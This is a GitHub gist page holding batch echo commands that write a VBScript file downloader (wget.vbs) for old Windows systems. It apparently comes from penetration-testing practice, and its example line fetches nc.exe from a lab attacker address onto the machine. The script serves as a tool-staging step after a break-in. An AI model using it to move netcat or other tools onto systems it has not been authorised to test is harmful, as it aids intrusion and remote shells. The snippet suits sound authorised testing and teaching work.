Last active
September 17, 2021 14:57
-
-
Save YSSVirus/8b815981dcd8f6adaef3f9053d326e78 to your computer and use it in GitHub Desktop.
this makes it so you are able to transfer files on extremely old windows
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo strUrl = WScript.Arguments.Item(0) > wget.vbs | |
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs | |
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs | |
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs | |
echo Err.Clear >> wget.vbs | |
echo Set http = Nothing >> wget.vbs | |
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs | |
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs | |
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs | |
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs | |
echo http.Open "GET", strURL, False >> wget.vbs | |
echo http.Send >> wget.vbs | |
echo varByteArray = http.ResponseBody >> wget.vbs | |
echo Set http = Nothing >> wget.vbs | |
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs | |
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs | |
echo strData = "" >> wget.vbs | |
echo strBuffer = "" >> wget.vbs | |
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs | |
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs | |
echo Next >> wget.vbs | |
echo ts.Close >> wget.vbs | |
info | |
mainly on old operating systems | |
example | |
cscript /nologo wget.vbs http://10.10.14.17/nc.exe nc.exe |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment